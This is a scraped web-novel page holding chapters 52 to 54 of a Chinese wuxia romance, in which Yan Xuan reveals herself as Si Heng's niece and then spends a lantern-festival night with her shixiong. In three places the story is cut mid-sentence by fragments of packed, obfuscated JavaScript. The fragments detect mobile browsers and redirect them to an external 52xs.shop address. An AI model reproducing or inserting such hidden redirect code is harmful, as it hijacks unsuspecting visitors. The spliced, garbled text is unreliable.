l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411649|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 孟珎轻叹:“你去哪我定是要跟着的,你的腿不能再磕碰了。” 邱明嘉舒了口气,算是明白少主为何一定要请晏璇而非孟珎出诊了。 时天辰喜上眉梢,忙道:“晏姑娘医者仁心,舅舅他也住在丰州境内,正在东偏南方的一座湖心岛上养病。届时,我会派……阿若随行,帮晏姑娘你们打点好一切。” 湖心岛?莫不是整座岛都是他们时家的,晏璇心想。 杜若适时起身,拱手对晏璇他们行礼:“诸位,有任何问题都可以找杜某相商。” 晏璇点点头:“那好,但我们也不能保证一定能治好病人,希望少庄主明白。” 时天辰笑得有些傻:“明白,明白。” 行吧,能和天下第一庄搭着一条线,将来总会有用的。晏璇的手指又下意识画着圈,视线扫过对面三人,最后在邱明嘉身上停顿了片刻。 邱明嘉:“?” “少庄主。”晏璇突然甜甜笑起来,“我想请你的人帮我送个信,不知从这到斛县一个来回最快需要多久?” “这……晏姑娘若是有急信,我可让明嘉亲自跑一趟。”时天辰笑着一指邱明嘉,“他的骑术向来是最好的,你尽可放心。” 邱明嘉额头突突地跳,看着晏璇咬牙道:“斛县不远,若是此刻出发,明日下午便可回。” “哇哦。”晏璇非常捧场地鼓起了掌,“邱阁主好生厉害,我有一封家信寄往斛县,之后希望邱阁主能帮忙带回回信。一旦拿了信,我们就出发前往少庄主舅舅的所在之地。” 时天辰:“那事不宜迟,明嘉快做些准备。” 邱明嘉眯眼笑道:“是,少主。” 晏璇双手捧着茶杯,乖巧地喝了一口。花奕吃着面前的一盘花生米,逗弄孟珎:“师弟,不尝尝吗?好吃得很。” 孟珎没理她,径直看向晏璇,盯得她连眨了两下眼睛,他才缓声道:“还想吃点什么?” 晏璇有恃无恐,知道自己不管打什么主意,孟珎都会明白包容她。见他脸上挂着些许无奈的笑意,她立时指了指远处的一盘菜,嘴角微翘:“那个黄金闷瓜,感觉很好吃。” 作为天下第一庄少庄主,大概即使养病也是事务缠身,没一会,时天辰就带着他那两个连体人下属离开了。晏璇吃得有些撑,一边喝着山楂水解腻,一边指挥孟珎打包饭菜和点心,有晏曜爱吃的,也有十一爱吃的。 她坐在轮椅上,手里捏着一个小瓷瓶,这是她向杜若讨要来的暗室中所用的迷药。他说余下的全给了她,随着时间推移,这东西还会慢慢散发,只是作用的剂量小不会引起中毒。 晏璇刚把药瓶塞进她的百宝袋,就听门口传来一声巨响,紧闭的房门被人野蛮撞开,一个人影奔至她身后,花奕和孟珎瞬时护在她身周。 “晏璇,你……找我?”气喘吁吁含着抑制的亢奋的声音响起。 晏璇抚了抚乱跳的胸口,转过头去。一夜未见,司珩憔悴极了,一身鸦青色的袍子像在草地里滚过,满是褶皱不说,还沾着几片枯叶。那头浓黑的头发又回到了当初落拓不羁的样子,碎发散落在眼周,眼下青黑严重。 “同、司……你,做什么去了?”晏璇半张了嘴,惊讶道。 “给你,你喜欢的。” 晏璇这才发现司珩手边还拖着一个类似麻袋的扎口布袋。 他举着袋子,满是脏灰的脸上露出一个似笑非笑,似泣非泣的笑容,眼睫颤动,眸中似藏着一块裂了缝的玻璃,细碎的光影在其中闪动。 他整个人好像快碎了。 “是你喜欢的。” 他喘着气低声又说了句。 晏璇鼻翼翕动,良久哼出一句。 “嗯。” 52. 第 52 章 南塘城内水巷遍布,日光落在水面上碎金点点,乌篷船从拱桥下穿过荡起涟漪,头戴斗笠的船家坐在船头,时不时划动一下船桨。 “我最多只能待半刻钟,我得走了。” 随着一道含糊不清的声音,一颗黑黝黝的脑袋从船家身后探出来。 “不急,有邱明嘉在,你怕什么。”着灰色衣袍的男人微微后仰,伸出的大手将那颗脑袋又按了回去,“再吃些吧,七哥带的都是你爱吃的。” “够了,一会小晏子肯定也会给我带吃的。” 又往嘴里塞了两块红豆糕,十一拍拍手起身站到船头。 “小晏子?”男人侧头,斗笠下的薄唇勾起,露出一点温和笑意,“你与她倒是混得熟。” “嘿,还好。她那个老好人,看着聪明,其实笨得很。上回我没注意,她就受伤了,哎。”十一幽幽一叹。 “她师兄没与她一起?”男人问。 “在,姓孟的就跟有什么东西黏在她身上似的,两人整日形影不离的。不过,当时是因为有别的意外。” “这么多年了,他还是老样子啊……” “七哥。”十一盘腿坐到男人身边,“你真的不和他们打个招呼?” 男人偏头,低垂的眉眼下是一张温顺的脸庞,这副恬淡的白面书生模样分明是当年的初七。 “五六年没见,大家都变了许多。我现在是你的七哥,不再是云边小镇的初七。”敖七划着木桨,神色不明。 十一抿了抿嘴:“我倒不觉得,小晏子贴身带的一块帕子,我看着分明是出自七嫂之手。” “她……”敖七摇头轻笑一声,“当年倩娘同她确实要好。” 十一:“都过了这些年,还把别人送的东西当宝一样随身带着,她那人怪傻的。” 小姑娘撅着嘴眼角耷拉,敖七见状,抬起手肘碰了碰她:“怎么,在怪七哥?当初少主让你接这个任务你不愿意,如今整颗心都要向着人家了。” “她,她挺好的,反正我喜欢她。”十一垂着手拨动着身侧的流水,两耳透出些许薄红。 敖七略有吃惊,十一虽性格爽直,可让她能大咧咧地说出喜欢的人不常见。晏璇啊晏璇,她真当是个奇特存在…… “小妹。”敖七搭上十一的肩头,轻叹道,“我现今在追查苍翊的下落,与她还是少些联系才好。她是我和你七嫂的恩人,对她,七哥没你想得那么冷血。” “苍翊?那个害你武功全失,失忆流落云州的人?”十一挺直肩背,惊讶道,“我以为七哥来南塘是有别的安排。” “是同一件事。” “原是这样,我误会了七哥。” “喏。”敖七将一个素色锦囊塞进她的手里,拍了拍她的手背,“时间差不多了,下次有机会七哥再来看你,记得给义父写信。” 十一看着手心里的东西,疑道:“这是?” “你想让她来找我,我已为她卜了一卦,里面或是她想要的结果。” “七哥,你真好!”十一顿时喜笑颜开。 还真是个孩子,藏不住半点心思。敖七笑着扬了扬眉:“去吧。” “好。”说着,十一旋身而起,飞身越过河面,眨眼间消失在小巷尽头。 敖七收回目光摇动船桨,乌篷船朝水巷深处继续漂去。 味香斋内。 晏璇和司珩大眼瞪小眼,她喉头微动,平时那张见人说人话,见鬼说鬼话的利嘴吐不出半个字。仿佛一个近乡情怯的人,面对司珩她没有自己想象中的冷静。 “那个……前辈?要不先坐下,饭菜还是热乎的,等填饱了肚子再说?”花奕轻咳,打破了此间静默。 孟珎低头看向晏璇:“我去吩咐店家再做些吃食,你与……他好好聊聊。” “师兄,别走。”晏璇一把拽住了他的衣袍,手指向下捏了两下,小声道,“不要离开,好吗?” 孟珎的心也好像被人紧捏后放开,酸酸麻麻的。他本想着司珩厌他,不好在此扰了他们说亲近话,他第一次见晏璇这样,方切实感受到她心中的不安以及她正向自己靠近的心。 孟珎低柔应道:“好,我不走。” 司珩的气息平稳下来,他的视线落在晏璇抓着孟珎的手上,神色几度变化。 罢了,冤有头债有主,姓孟的到底不是当年的人。 只要阿姐她还在…… “你……找我有什么急事?” 那般对峙过后,司珩也喊不出小晏了。回到家中,小山告诉他晏璇的师姐等了他好久,他心中瞬时燃起希望,定是晏璇让人来找他的,她是不是将他的话听了进去,是不是对自己的身世有了动摇? 只要她还亲近自己,一切就好。 晏璇一时不知怎么开口,盯着司珩手里的东西问:“那是什么?” “哦,是知了。”司珩拎起布袋,解开一个小口,见里面黑乎乎的一团,“我去山里抓的,以前你、她很喜欢,每到夏日,她都喜欢吃这道菜。” “对对对,酥炸红烧知了特别香,特别好吃。”花奕如遇知己般兴奋说道。 司珩脏乱的脸上点点笑意,他似一直在迁就她,讨好她,晏璇心头微叹,硬声道:“可惜,我……并不是很喜欢。” “喜欢的!不是,从前……是喜欢的,现在不喜欢也没关系……” 司珩眼里的光又黯淡下去。 花奕张了张嘴不忍再看,退到了晏璇身后,她就不该插那句嘴。 晏璇偏头看她一眼,有种自己在朋友面前故意找茬的错觉。知了不难吃,但是她得让司珩彻底清醒过来。 花奕接触到晏璇的目光,微点着头闭了下眼,懂,她都懂。 “同叔,你坐过来吧,我有话同你说。” 晏璇恢复了温声软语,司珩来了精神,搬了凳子坐到她面前。 会不会太好拿捏了?她的傻舅舅啊。 “同叔,我……不是你要找的人。” 话落,司珩拧了眉,垂放在腿上的双手一下握紧了。 晏璇瞥了眼,继续道:“可是……” 司珩紧盯住她:“可是?” 晏璇:“你有没有想过,你要找的人或许她在某处已经成亲生子,并没有所谓的离世投胎。我与她长得像,只是因为存在血缘关系。” 司珩的瞳孔紧缩了一下,脸上一片茫然之色。 “我是在出生后才被带到斛县的,爹娘……他们确实不是我亲生爹娘。那日在街上我反驳你,只因那些传言太过荒谬,他们视我如己出,从未亏待过我。” “阿璇。”孟珎默默抚了抚晏璇后背。 “你说你是……”司珩不可思议般喃喃,同样是获知晏璇的身世,当日与今日的心境大不相同。 他如坠梦中,一直挺着的背徒然一松弯下一个弧度。 “不可能……” “不,不可能。” “为什么?” 司珩不停低声反问,晏璇明白他所想,所以她更不能直接告诉他真相。 “人生总有意外,或许她被什么绊住了手脚。” “意外?” “嗯。” “对,是意外!”司珩咬了咬牙,“阿姐她,她很喜欢小孩,在雪域的时候,小鬼头们都爱围着她,她绝不会把你——” 司珩住了嘴,直愣愣盯着她。 晏璇吞咽了一口,补充道:“爹娘说,他们捡到我时,我身上的襁褓都是上好的料子,可见是出生在一个好人家。” 是不是真好,晏璇不知道,但是有钱应该是真的。 “所以,你是,你是……”司珩嘴唇哆嗦,眼底已然漫上一层水光。 晏璇轻吸一口气,拉过他始终紧握的双手,一点点触摸到他的手心,只觉他的手上满是老茧与愈合后的伤痕。 晏璇抬眼看他,心底不断上涌着酸涩的气泡,等升到胸口,气泡破灭,一种缓而浅的隐痛随着呼吸散去。 她咧开嘴,叹笑着:“你可是我的舅舅啊。” 舅舅…… 司珩被晏璇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459804|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊得仿佛失了神智,他想笑又好像被惊吓过度,呆呆愣愣的。 直到孟珎给他倒了一杯凉茶。 他捧着茶杯,对着眼前三个年轻人:“我是舅舅,是晏璇你的舅舅?” “是啊,前辈,阿璇为了你特地去打听了十几年前的旧事,她已经知道你就是当年的司珩。”花奕道。 说起往事,司珩总算清醒了些,他深深呼吸,眼角瞥过孟珎,眸中恨意闪现:“既知我是司珩,不怕我突然发难大开杀戒?” 嘴硬强者一根筋,他这副颓废模样要杀谁去,晏璇算是摸到了一点他的脾性。 “那舅舅你……要杀我们吗?” 人还没正式相认,晏璇已经舅舅长舅舅短喊上了,这句问话更是含了几分委屈。 司珩心里仍有些迷茫,以为找到了的阿姐却变成了外甥女,可寻到了亲人的喜悦是实打实的。 “怎么会,我只是……”司珩从未觉得自己嘴笨过,此刻他似乎说什么都怕吓到了晏璇。 晏璇:“你还认我吗?” 司珩抿嘴:“我真的是你舅舅?” “从小,我的血就较旁人不同。”晏璇说着,挽起一边袖子,露出细白的手腕,“似乎不易受毒物的伤害,师父说这是血脉继承来的能力,你要不要试试看?” 晏璇又从随身百宝袋里拿出一柄飞刀和一小瓶药。 小九:【宿主,你不会是要当场表演自残吧?这种事,不要啊。】 晏璇:【请你闭嘴。】 孟珎眉头轻跳,那是他行医时用的小刀,怎么师妹那也有一把?眼看着她要把刀尖对着腕内,未等他出手,司珩一把握住了刀柄。 “胡闹!”司珩轻斥,“你知不知道要是被外头的人知道你有这等能力,他们会怎么把你抽筋剥皮!” 晏璇撇撇嘴:“我只是想告诉你,难道司家的人没有这种能力?” 司珩未语,盯着她的脸半晌。 随后,他勉强露出一点笑容:“你和阿姐果真长得不尽相同。” “当年,我与她下山闯荡,不知天高地厚,遇到披云堂那帮心术不正的。凌羽污蔑我们觊觎他门内武学秘籍,暗下杀手,阿姐与我分开失了踪迹,那时她双眼被凌羽所伤,我不敢想她能活着,亦不敢想她就会那样死去。” 她娘眼睛伤了,所以才一直没有和司珩联系上? 晏璇一时也不敢继续深想,问道:“披云堂那些人……真是舅舅杀的?” “是。”司珩顿了顿,“他们伤了阿姐,本就该死,我留了血书在披云堂,却无一人敢承认凌羽那狗东西的真面目,中原武林全是群道貌岸然的家伙。” 晏璇大致能猜到他们为何要掩盖凌羽的恶行,无非是那些虚名之类的东西。只是,凌羽的动机是什么? “那披云堂为什么要污蔑前辈?”花奕问道。 司珩瞧她一眼:“起初我不明白,后来我才知道,江湖一直有传言说我们司姓一族传承的玉璜中含有藏宝图,呵呵。” 晏璇有种“果然如此”的无力吐槽感,为了名利很多人都会变得面目全非。 花奕在出谷之际,她爹她娘就同她说过,这世上的事不是非黑即白。故,在她得知同珩有可能是司珩时,她虽有震惊却没有感到害怕,他真要是心狠手辣,当初早就把晏璇身边他们几个杀光了。 “往事已矣,我也不怕披云堂的来找我寻仇。”司珩说着,眼睛又向孟珎瞄去。 晏璇忍不住道:“舅舅,师兄他不是披云堂的。” “他的事再说,我只想知道阿姐的下落。”司珩对着晏璇郑重道,“小璇,你可知你爹娘是在何处收养了你?” 来了。 晏璇垂眸片刻,遗憾道:“我也是近些日子才得知,此次出来也想着寻找娘亲。听他们的意思,当年是在郦城附近发现的我,多年过去也不知……” “去郦城!”司珩果断道。 晏璇:“……” 她和孟珎以及花奕对视一眼,果然,还是得把人稳住了! 53. 第 53 章 司珩在晏璇的一声声舅舅中差点迷失自我。 两人无声对坐了一会,似还沉浸在关系骤变的恍惚中。 晏璇倒是想给司珩吃颗定心丸,从前他能灭人家帮派,现在追着她相认时情绪忽高忽低,瞅着精神极不稳定。这个时代没有靠谱的认亲手段,还好她身体本身就是黑科技。 晏璇:“现在,你信我是你亲人了吗?” 司珩痴痴地看她:“当我看清你的长相时就认定了,只是没想到……” “阿姐就算不来寻我,也应该回泑山,她竟会成了家……小璇,我真怕你娘被人胁迫才——” 司珩住了口,神色凝重到发白,一会才道:“她喜欢小孩,怎么会把你随意丢弃?” 晏璇:“……” 司珩以为她娘被拐,自己是被厌恶遗弃的。当初他能信斛县那些流言,晏璇就知他脑洞很大,只是这回……要不是她知道面具男的存在,这些猜测并非荒谬。 “舅舅,你忘了我小时候为什么生病了?她要是真如你说的处在那样的境地,不对胁迫她的人出手,反而如此对一个孩子?”晏璇点到为止。 “对……”他若有所思地点头,“对,以她的性子不可能放过欺辱她的人,没必要下毒折磨一个孩子。” “那又是何人要害你?她定是遇到了歹毒的恶人。” 晏璇:“……” 司珩的问题一个接一个,晏璇险些招架不住,一个谎言总是需要另一个谎言兜着,要不是她实在不想刺激司珩,应该把她知道的都告诉他。 孟珎见晏璇脸上显出疲色,在一旁道:“前辈,师妹身体未愈,不宜在外久待,先回客栈再做打算。” 看着年轻人不苟言笑、少年老成的样子,司珩轻撇嘴角,还好没让他长自己一个辈分。 不对,这小子心思深沉,一边对晏璇殷勤,一边勾着武林盟主的女儿,这样的人怎么配的上小璇!司珩顿时怒瞪着他。 “你的武功谁教的?” “舅舅,师兄他——” “不用你说,让他自己说。” “……” 孟珎看向晏璇,见她对自己挤眉弄眼的,回给她一个安心的眼神。 司珩虽痛恨披云堂,但眼下有了亲人的线索,心境未必如当初狠绝。孟珎平静道:“是一个隐姓埋名的前辈教的。” 司珩似想从他表情中看出撒谎的痕迹,紧盯不放:“他为什么教你?你真不知他是谁?” “多年前师妹遇险,我武功低弱未能护她周全,那人见我救人心切才得以传授武功,我并不知他的过去,亦不知他与前辈有恩怨。”孟珎道。 是云边小镇那次?师兄是那时跟着林叔学的武?晏璇垂眸思索,他二人在她面前真是演了多年的戏,大木头对小木头,她是半点没看出异常。 花奕咂摸着嘴看了眼孟珎,她原先想的就是,除了晏璇没谁能让呆子有所行动。若晏璇乖乖待在雾山,他顾着老少,学医做煮饭公便罢了,可晏璇注定是待飞的鸟儿,他唯有主动靠近才有机会。 “真是无用。”司珩嘀咕一句,探手猛得抓过孟珎的手腕,在他经脉上一摸。 孟珎未反抗,任他施为。 “你和她不都是学医的?怎么,内伤伤成这个德行,还想护住人?” 晏璇一愣,先是瞅了瞅孟珎,他垂头不语,很好,他说没事是逞强骗人的,随之她又看向司珩,叹道:“舅舅,他的伤怎么来的,你没印象了?” 司珩低咳一声:“他无用是事实。小璇,心疼男人是没好果子吃的,别总是护着他。” 她也是实话实说啊,算了,司珩没再揪着披云堂的事就好,她忍笑“哦”了声。 “前辈教训得是。”孟珎脸上无半分不耐,收回手拿袖子挡了,“我会尽快养好伤,也会努力精进武艺。” 花奕在一旁看着,心头啧啧。男人啊男人,脸皮真的会日益渐厚。 司珩本打算接晏璇回杏花小巷,可晏璇趁手的东西都放在客栈,且明天就要离开实没有必要。 “你管时天辰那小子作甚,什么都没你娘重要。”司珩道。 晏璇安抚他:“只是顺道的事,行善多攒些功德好保佑娘亲平平安安。” 司珩惊讶:“你……竟是这样想的,怪不得这一路就不见你安分,什么人都要去救一救。” 晏璇:“……” 她想保她这条小命而已,晏璇看看还亮着红色的生命值,接下来她不安分的时候多了去了。 几人回了客栈,收拾起随身行李。期间杜若又来了一次,带了不少新的药材,还叫晏璇放心,时天辰准备了宽敞的马车,必不会叫她在路上感到不便。 晏璇笑笑:“有劳杜管事。少庄主身边没人,杜管事还是早些回去为好。” 如今殷数受伤失踪,少主又在别的安全地方,有兄弟们护卫断不会有事,晏璇只是不想看见他而已。杜若苦笑,越发觉得自己之前太过小人行径。 他掩在袍袖下的手握了握拳,上前道:“晏姑娘,之前的药茶,多谢!” 晏璇:“哦,没什么,普通的凉茶而已。” 她摇着轮椅前前后后在整理药材,那条还绑着夹板的僵直左腿就在杜若眼前晃来晃去。 杜若杵在那儿,心里不是滋味,开口尽量用着闲适的口气:“晏姑娘还不曾好好逛过南塘吧,虽然未赶上灯会,今晚城内还能看见烟火和放花灯。若是姑娘有兴趣,我可叫人安排。” 晏璇手上一顿,想到初来那天看见正在搭建的高架,当时还想着要和孟珎一起去赢个花灯玩玩,这转眼就错过了灯会,这一切怪谁呢? 晏璇已经忍够了脾气,她斜着眼道:“不必麻烦杜管事。” 杜若自找没趣,还是细细说明了一番明天的安排才关门走人。 等人离开,晏璇往后一仰,四肢跟没了骨似的瘫在那。她侧头看晏曜端着木盘忙活,比她还赶时间。 “小炉子先别收我还有用,剩下的药材跟新送来的放在一个木柜里方便搬运。” “好的,小姐。” “小曜,晚上想不想去看烟火?”晏璇突然道,“明天我们就要离开南塘了。” 晏曜想了想:“小姐去,就去。” 晏璇拿起面前的一颗丹药在指尖转了转:“那便去,给你半个时辰,想做什么想买什么,由你自己。” 到了傍晚,每个人都忙得差不多了,晏璇随便吃了两口,就提出想在外头逛逛。 花奕笑道:“好啊,带上几样小点心,掌柜的说新口味特别好吃,我买了好多。” 司珩说会来客栈,可等了会不见他身影,晏璇便留了字条和孟珎他们出门了。 坊街上的铺子还开着,门口亮起了各式各样的灯笼。水道边上,桥上桥下都摊贩叫卖,琳琅满目,有卖小首饰的,有卖玩具杂货的,也有卖糖果零嘴夏日饮品的。 晏曜被晏璇赶着自个儿玩去了,孟珎推着她,每当她往旁边多看两眼,孟珎就停下来问她有什么想要的。 “师兄,我若想要便会说。逛街都是这样的,有点兴趣就多瞧两眼,不代表真心喜欢。” “好。” 花奕把装着吃食的小篮子往晏璇腿间一放,摆摆手道:“我去别处瞧瞧热闹,你俩啊,慢逛,吃的都给你放里头了。” 她实在不想挤在他俩中间,觉着脑仁疼,还不如去前头看杂耍!花奕一个纵步就跑远了。 “哎!奕姐姐!” 晏璇看着盖着蓝色碎花布头的小竹篮,手指抠了抠膝头,她要是想解手了怎么办? 开个玩笑,她只是觉得她与孟珎之间真没什么,为什么他们的反应都这般大,司珩也好,花奕也好,就连隔壁商陆看她的眼神都怪怪的…… 小九:【宿主,你是没什么特别,可姓孟的整天像块粘人的糖,待在你身边等待你临幸的样子!】 晏璇吓了一跳:【你、你说什么呢?从哪升级的语言包!】 小九:【我没胡说,你看他的眼睛,湿漉漉的像不像小狗,怪会装可怜的。】 晏璇不由自主偏头去瞧孟珎的眼睛,他低下头来与她对视,真就像飞黄那样乌黑发亮殷切期盼着什么。 孟珎:“怎么了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475063|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏璇呵呵傻笑:“没什么师兄,我们沿着拱桥逛一逛吧,看别人放花灯也好。” 孟珎:“好。” 晏璇一边探头看桥边有没有算命先生,一边无察觉地伸手吃着篮子里的糕点。 结果,她噎着了。 “哎哟,小伙子,这小姑娘吃呛着了。”旁边一位头戴花布巾的大娘好心道。 “阿璇?”孟珎停了轮椅,侧身替她拍背。 大娘又道:“我这有醪糟甜水可以顺顺嗓子,有凉有温的,只需十文钱一碗,十八文钱两碗。” 晏璇:“……” 孟珎忙道:“麻烦来一碗热的。” “好嘞。”大娘掀开圆桶盖子,麻利地盛了碗递给孟珎。 孟珎把竹筒装的糖水举到她嘴边:“先喝一口顺顺气。” 晏璇闻到了淡淡的甜酒香,捧着杯子就势喝了小口就摇头叫停,她不确定自己会不会醉,然后发酒疯。 孟珎推着她走到拱桥下,将轮椅停在了一处石墩旁。河边有太多人围着放花灯,孟珎故意离得远一些,以防别人磕碰到晏璇。 “还难受吗?要不要再喝两口?”孟珎问道。 晏璇摇头:“没事了,师兄喝吧,别浪费了。”她眼见着孟珎将一排铜钱给出去,可不止十文了。 哎,想当初几百两眼不眨就扔出去了,这才几文钱啊,可那种上赶着被坑的感觉真不好。 孟珎见她真的不愿再喝,顿了顿仰头将剩下的喝完了。他盯着竹筒杯口,抿唇擦了擦嘴角,耳根又泛起薄红。 晏璇未察,盯着河面上飘过的各式彩灯,其中尤以莲花灯居多,烛火点点,每一盏闪耀的小灯都承载某人的心愿飘向远方。 “阿璇也许个愿,去放河灯。” 晏璇一侧头,就见扶手边垂挂着一盏小巧的粉白荷花灯,孟珎正提着它。 “嗯?师兄是何时准备的?” 孟珎弯弯嘴角,浅笑着,他的眉眼像是蒙了层雾,在夜灯下散着柔光。 小九:【刚刚你在桥上东张西望的时候,他买的。】 晏璇笑叹,欣然接过:“那便放一个。” 向旁边的姑娘借了笔,晏璇只想了一瞬就在灯上勾画了几笔写好了。等点了灯要放灯就有些难度,她的腿不能下蹲,孟珎就将她的轮椅尽量推到河边上,他单膝触地蹲在一侧,晏璇就可以半趴着在他身上,伸手将花灯放入河中。 周围的人好奇地向他们望望,大概被她这种“身残志坚”所触动,有几个姑娘甚至投来了鼓励的目光。 晏璇吃吃一笑,热气喷洒在孟珎耳后,他突地一抖。 “抱歉,师兄。” “无事……” 他的声音嗡嗡的,有些含糊不清。晏璇略感奇怪,不过还是扶着他的肩,侧趴着身体,尽快放下了手中的花灯。 夏日的夜晚,星空璀璨,晚风吹拂并没有觉得很热,反倒是晏璇触碰着孟珎的肩背,两人相贴的地方有一股热意不断上涌。 师兄发烧了? 晏璇迟钝地想。 她低头看向他的后颈,衣领微敞露出的一点肌肤泛着可疑的红色,再看他的耳朵和侧脸,像是熟透了一般。晏璇下意识伸出手背碰了下,好烫! 晏璇赶紧坐直,撑坐回轮椅,她拉了拉孟珎的手臂:“师兄你……” 孟珎却还是愣愣地半蹲着,听到她的声音,侧过脸顿了好一会才仰头看她。他的双颊绯红,一双眸子浸了水般湿润润的,出神般望着她的方向。 “师兄?” 没反应。 “孟珎?” “唔……” 很好,咕哝了一声。晏璇是个三杯倒,没想到孟珎沾点酒酿都能醉成这样。 晏璇好笑地用指头戳着他的脸颊,他眨了眨眼,伸手握住了她作乱的手指,整个手掌都包裹住她,热气一阵阵地传到她身上。 他的眼角眉梢哪有平时半点冷漠,微蹙的眉头下是无辜到惹人怜爱的眼神。 晏璇不自觉吞咽了一口。 他好似在勾引她。 好呆,好想欺负他。 54. 第 54 章 日头西斜渐至暗夜降临星辰闪耀,夜光投进窗内,在地上落下一片清辉。 商陆盘腿坐在窗下,内息运转全身,双掌上下而对,时而合拢又分开几寸。往日里一丝不苟的束发半披着,他的额上沁出点点细汗,随着一口浊气呼出,脉象趋于平和,商陆缓慢睁开双眸。 房内昏暗,只有落进窗口的几许光亮,照在床边赤星剑上,冷芒幽幽。他定定看着窗上树影,半边身子隐在黑暗中,整个人如沐浴在月光下的一鼎铜钟,肃穆而冷寂。 门外响起叩门声,商陆收敛了沉思。 “门没有关严,进来吧。” 纪霜叶端着一个木盘推门而入:“师兄怎么不点灯?” 她借着门外的光亮将托盘放下,点了灯关好门。 商陆理了理身上的衣袍,起身坐到桌边,也请纪霜叶坐下,待倒了茶抿了口才道:“习惯了,似乎这样才能静心想些东西。” 纪霜叶笑:“师兄从前就喜一人在静室待着,刚入门的师弟师妹以为你不好相处,每每晨练时打起十二分精神害怕挨训。” 商陆:“……” 他五岁拜入峋山派,被闵钰收入门下成为他的首席弟子。小小少年,心性厚重,既不愿辜负师父的养育教导之恩,也不想令他失望,经年累月,谨言慎行的商陆自是变得老成持重。 闵钰笑叹他为人过于冷肃,适当放松亦无不可。或许他曾尝试着与人言欢,最后只觉疲惫无法开怀,参悟剑术之于他的快意远甚其他。 商陆垂眸,瞥见桌上冒着热气的汤碗:这是?” “哦。”纪霜叶忙将碗从木盘中取出,放至商陆左手侧,“傍晚,我碰到晏姑娘,她说你心肺有旧伤重新改了方子,之后得照着新方子煎药。师兄,莫不是三月前对付那金银恶贼的伤还没好?你要跟听晏姑娘的,好好休养一段时间,接下来有什么事还有我在。” 纪霜叶还在不断嘱咐,商陆的心重重跳了一下,三月前的伤早就好了,心肺有损还是他少时落下的毛病……商陆搭在膝上的手指蜷了蜷:“晏姑娘……有心了。” “师妹,付予他们的诊费不可少,之后回峋山我会向于长老说明。” 说到此,纪霜叶叹了一声:“师兄,我明白的。我给了晏姑娘银两,她却说只取该取的,每想起臭小子们那般不懂事,我自觉脸热。明日之后,也不知还有没有机会与晏姑娘再见。” “她……要离开了?”商陆微愣。 “嗯,此间事了忙着赶路,今日才提前找我换了药方。” 商陆的目光无意识地看向门口。 “不过,她问了我峋山派可会参加此次武林大会。”纪霜叶稍舒展了眉,“她说她爱热闹,说不定有缘会见。今晚,他们一行人也去街上看烟火了。” 武林大会在即,追拿殷数的事迫在眉睫,若能一举解决了,不仅是了结一桩师门恩怨,对峋山派在武林中的威望亦有影响。可一路来,辗转多地,弟子们早有疲态…… 窗棂上时而亮起炫目光影,窗外隐约传来欢声笑语,商陆顿了顿道:“南塘灯会远近有名,师弟妹们若没什么事,也让他们去凑凑热闹吧。” “我让方御安排了,只是师兄受伤,臭小子们自责不敢松懈,随他们吧。” “你办事向来周到。我这里无事,你也去歇一歇或者外出逛逛。” “灯会每年大同小异的,我没甚兴趣。眼下,还是师兄你的伤重要,快喝药吧。” “……” 商陆端起手边药碗,不冷不热刚好,几口苦药下肚,舌尖残留有干草的微甜。 纪霜叶满意地点点头,也没多待,留下两句话便走了,真的只为监督他喝药而来。 商陆微叹,得快些好起来才行啊…… · “烟火点放仪式要开始了!” 人群中有人喊了一声,叮叮当当的锣鼓敲打声随之响了起来。原本放完河灯在一旁赏夜景的人们一下欢呼起来,三三两两的向着街另一头的杨柳岸边走去。 一个提着可爱鱼灯的小姑娘从晏璇身边走过。她停下片刻,亮晶晶的眼神从相依着的二人身上划过,对着晏璇笑靥如花道:“姐姐,烟花可漂亮了,快让小哥哥帮你寻个好位置,别错过了。” 晏璇暗暗拽了拽被孟珎抓握住的手,纹丝不动。 晏璇:“……” 她低头看了眼脸颊透红不知魂游何处的男人,侧头道:“谢谢你呀,我们会尽快过去的。” “嗯嗯。”小姑娘蹦跳着走远了。 身边的人越来越少,无人在意河边上的男女在做什么,或许此情此景下,做些什么也情有可原,河面上点点灯光绚烂成簇,恍若置身梦幻般的光影世界。 晏璇伸出另一只手戳了戳孟珎的侧脸。 “没听别人说要赶不上看烟火了,不起来吗?” “阿璇……” “还能应话呢,叫你放手反而抓得更紧了,也不知道是不是故意的。” 晏璇轻声埋怨,两人低声说话犹如耳语。 她放开轮椅的固定装置,手动向后退了几步,拉着他也往里踉跄,真怕他一不小心掉河里去了。 “师兄,原先你叫我不许喝酒,没想到你的酒量比我还差劲,以后是沾不得一点。” 孟珎歪着头,只盯着抓着她的那只手看,仿佛能盯出花似的。 太呆了……晏璇忍不住笑出声:“干嘛,我又不会跑走,做什么抓得这么紧。” “会走,不许走。”孟珎抿了抿嘴,哼出一声。 “阿璇,我的。” 晏璇:“?!” 孟珎:“我的……师妹!” 晏璇:“……” 真是出息了,她的心跳都不由自主加快了,以为孟珎要说出些什么惊世的霸道发言。 定是被小九那些孟浪的话影响,她也心猿意马起来。看着他红透的耳朵,迷离的双眼,晏璇是真的想欺负他一把。 